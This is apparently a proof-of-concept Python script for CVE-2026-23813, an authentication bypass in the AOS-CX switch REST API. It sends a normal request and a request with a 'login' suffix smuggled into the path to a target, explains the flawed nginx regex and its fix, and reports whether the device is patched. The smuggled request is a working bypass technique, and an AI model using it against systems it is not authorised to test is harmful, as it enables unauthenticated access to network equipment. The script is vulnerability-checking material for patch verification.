#!/usr/bin/env python3 """CVE-2026-23813 — bypass mechanic demonstration. Sends two GETs to the AOS-CX REST API and prints the response codes side-by-side. Both target the user-record endpoint under /system/users/; the second smuggles a 'login' suffix in the trailing segment, which makes nginx match the unauthenticated 'login' location and forward the raw URI to the backend. No data is read, no state is changed. """ import sys import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) BANNER = """\ CVE-2026-23813 — bypass demonstration The vulnerable nginx regex is: ^/rest/(|v.*/)login The .* in the version capture matches '/', so any URI ending in 'login*' is treated as the unauthenticated login endpoint and proxied raw to hpe-restd. The fixed regex restricts the version segment to digits and dots: ^/rest/(|v[0-9\\.]+/)login """ def hit(url): try: r = requests.get(url, verify=False, timeout=10, allow_redirects=False) return r.status_code, len(r.content) except requests.exceptions.RequestException as e: return None, str(e) def main(): if len(sys.argv) != 2: print(f"usage: {sys.argv[0]} ", file=sys.stderr) sys.exit(2) target = sys.argv[1] print(BANNER) pairs = [ ("normal request", f"https://{target}/rest/v1/system/users/admin"), ("smuggled request", f"https://{target}/rest/v1/system/users/loginpoc"), ] smuggle_code = None for label, url in pairs: code, info = hit(url) if code is None: print(f" {label:18} → ERROR {info}") continue verdict = "blocked by nginx auth" if code == 401 else "reached backend" print(f" {label:18} → HTTP {code} ({info} bytes) — {verdict}") print(f" {url}") if "smuggled" in label: smuggle_code = code print() if smuggle_code == 401: print("[+] PATCHED — nginx blocked the smuggle.") elif smuggle_code is not None: print("[!] VULNERABLE — the smuggle reached hpe-restd unauthenticated.") else: print("[?] UNKNOWN — could not complete the smuggled request.") if __name__ == "__main__": main()